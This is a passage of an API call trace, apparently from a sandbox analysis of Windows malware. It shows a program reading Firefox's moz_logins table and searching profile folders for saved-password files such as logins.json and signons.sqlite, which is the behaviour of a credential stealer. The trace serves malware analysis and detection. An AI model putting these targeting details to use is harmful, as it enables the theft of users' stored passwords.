IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x3a, cb=0x0, dwLockType=0x0) returned 0x0 [0048.110] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fa20) returned 0x0 [0048.110] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x74fb00 [0048.110] LocalFree (hMem=0x74fa20) returned 0x0 [0048.110] LocalFree (hMem=0x721848) returned 0x0 [0048.110] IUnknown:Release (This=0x76e0b0) returned 0x0 [0048.110] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0048.110] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0048.110] LocalFree (hMem=0x746ad0) returned 0x0 [0048.110] LocalFree (hMem=0x750820) returned 0x0 [0048.110] LocalFree (hMem=0x74f980) returned 0x0 [0048.110] LocalFree (hMem=0x746b68) returned 0x0 [0048.110] LocalFree (hMem=0x74fb00) returned 0x0 [0048.110] LocalFree (hMem=0x73cc70) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x7a76, cb=0x0, dwLockType=0x0) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x7a76, cb=0x0, dwLockType=0x0) returned 0x0 [0048.110] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x7a77, cb=0x0, dwLockType=0x0) returned 0x0 [0048.110] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.110] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0048.110] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76e0b0) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e060, libOffset=0x7a78, cb=0x0, dwLockType=0x0) returned 0x0 [0048.110] IStream:SetSize (This=0x76e060, libNewSize=0x7d08c0) returned 0x0 [0048.110] IStream:Commit (This=0x76e0b0, grfCommitFlags=0x7d08c0) returned 0x0 [0048.110] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.110] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x716ef8 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74fff8 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fff8) returned 0x0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0048.111] LocalFree (hMem=0x74fff8) returned 0x0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x746ad0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0x746ad0) returned 0x0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0048.111] LocalFree (hMem=0x746ad0) returned 0x0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x746ad0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x20, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0x746ad0) returned 0x0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74f980 [0048.111] LocalFree (hMem=0x746ad0) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x2a, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8bf) returned 0x0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x746ad0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x756a60 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.111] IStream:LockRegion (This=0x76e0b0, libOffset=0x2b, cb=0x0, dwLockType=0x0) returned 0x0 [0048.111] IStream:SetSize (This=0x76e0b0, libNewSize=0x756a60) returned 0x0 [0048.111] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a800 [0048.111] LocalFree (hMem=0x756a60) returned 0x0 [0048.111] LocalFree (hMem=0x716ef8) returned 0x0 [0048.111] IUnknown:Release (This=0x76e0b0) returned 0x0 [0048.111] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0048.112] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0048.112] LocalFree (hMem=0x73cc70) returned 0x0 [0048.112] LocalFree (hMem=0x758820) returned 0x0 [0048.112] LocalFree (hMem=0x74f980) returned 0x0 [0048.112] LocalFree (hMem=0x746ad0) returned 0x0 [0048.112] LocalFree (hMem=0x74a800) returned 0x0 [0048.112] LocalFree (hMem=0x721848) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x7a09, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x7a09, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x7a0a, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e060, libNewSize=0xef903) returned 0x0 [0048.112] LocalAlloc (uFlags=0x40, uBytes=0x8080) returned 0x7d08c0 [0048.112] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef918 | out: ppstm=0xef918*=0x76e0b0) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e060, libOffset=0x7a0b, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e060, libNewSize=0x7d08c0) returned 0x0 [0048.112] IStream:Commit (This=0x76e0b0, grfCommitFlags=0x7d08c0) returned 0x0 [0048.112] LocalFree (hMem=0x7d08c0) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.112] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x716ef8 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0048.112] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8c3) returned 0x0 [0048.112] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x721848 [0048.112] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x74fff8 [0048.112] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0048.113] IStream:SetSize (This=0x76e0b0, libNewSize=0x74fff8) returned 0x0 [0048.113] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x73cc70 [0048.113] LocalFree (hMem=0x74fff8) returned 0x0 [0048.113] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x746ad0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0048.113] IStream:SetSize (This=0x76e0b0, libNewSize=0x746ad0) returned 0x0 [0048.113] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x758820 [0048.113] LocalFree (hMem=0x746ad0) returned 0x0 [0048.113] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x746ad0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x24, cb=0x0, dwLockType=0x0) returned 0x0 [0048.113] IStream:SetSize (This=0x76e0b0, libNewSize=0x746ad0) returned 0x0 [0048.113] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x74f980 [0048.113] LocalFree (hMem=0x746ad0) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0048.113] IStream:SetSize (This=0x76e0b0, libNewSize=0xef8bf) returned 0x0 [0048.113] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x746ad0 [0048.113] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a800 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.113] IStream:LockRegion (This=0x76e0b0, libOffset=0x2f, cb=0x0, dwLockType=0x0) returned 0x0 [0048.113] IStream:SetSize (This=0x76e0b0, libNewSize=0x74a800) returned 0x0 [0048.113] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x74fa20 [0048.113] LocalFree (hMem=0x74a800) returned 0x0 [0048.113] LocalFree (hMem=0x716ef8) returned 0x0 [0048.113] IUnknown:Release (This=0x76e0b0) returned 0x0 [0048.113] lstrcmpiA (lpString1="moz_logins", lpString2="moz_logins") returned 0 [0048.113] lstrcmpA (lpString1="table", lpString2="index") returned 1 [0048.113] LocalFree (hMem=0x73cc70) returned 0x0 [0048.113] LocalFree (hMem=0x758820) returned 0x0 [0048.113] LocalFree (hMem=0x74f980) returned 0x0 [0048.113] LocalFree (hMem=0x746ad0) returned 0x0 [0048.113] LocalFree (hMem=0x74fa20) returned 0x0 [0048.113] LocalFree (hMem=0x721848) returned 0x0 [0048.113] LocalFree (hMem=0x7c0838) returned 0x0 [0048.113] IUnknown:Release (This=0x76e060) returned 0x0 [0048.113] PK11_FreeSlot () returned 0x9321000 [0048.113] NSS_Shutdown () returned 0x0 [0048.115] LocalFree (hMem=0x74d998) returned 0x0 [0048.115] lstrlenA (lpString="signons.sqlite") returned 14 [0048.115] StrStrIA (lpFirst="signons.sqlite", lpSrch="logins.json") returned 0x0 [0048.115] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0048.115] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.115] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.115] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.115] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0048.115] lstrlenA (lpString="times.json") returned 10 [0048.116] StrStrIA (lpFirst="times.json", lpSrch="logins.json") returned 0x0 [0048.116] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0048.116] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0048.116] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0048.116] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.116] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0048.116] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0048.116] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="logins.json") returned 0x0 [0048.116] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0048.116] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0048.116] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0048.116] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.116] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0048.116] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0048.116] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.116] lstrlenA (lpString="\\") returned 1 [0048.116] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.116] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.116] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.116] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.116] lstrlenA (lpString="webapps") returned 7 [0048.116] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x74f980 [0048.116] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.116] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.116] LocalFree (hMem=0x746ad0) returned 0x0 [0048.116] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned 89 [0048.116] lstrlenA (lpString="\\*.*") returned 4 [0048.116] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x746ad0 [0048.116] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.116] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*" [0048.116] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0048.116] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.116] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0048.116] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.116] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.117] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0048.117] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0048.117] lstrlenA (lpString="webapps.json") returned 12 [0048.117] StrStrIA (lpFirst="webapps.json", lpSrch="logins.json") returned 0x0 [0048.117] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0048.117] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0048.117] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0048.117] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0048.117] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.118] LocalFree (hMem=0x746ad0) returned 0x0 [0048.118] LocalFree (hMem=0x74f980) returned 0x0 [0048.118] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.118] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.118] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0048.118] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="logins.json") returned 0x0 [0048.118] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0048.118] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.118] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.118] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 0 [0048.118] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0048.118] LocalFree (hMem=0x7469f0) returned 0x0 [0048.118] LocalFree (hMem=0x74d860) returned 0x0 [0048.118] LocalFree (hMem=0x74a738) returned 0x0 [0048.118] LocalFree (hMem=0x75e920) returned 0x0 [0048.119] LocalFree (hMem=0x745b68) returned 0x0 [0048.119] LocalFree (hMem=0x9401750) returned 0x0 [0048.119] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.119] lstrlenA (lpString="*.*") returned 3 [0048.119] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a738 [0048.119] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.119] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0048.119] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 0x72dc90 [0048.119] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.119] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 1 [0048.119] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.119] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.119] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 1 [0048.119] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0048.119] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0048.119] lstrlenA (lpString="C:\\Users\\aDU0VK 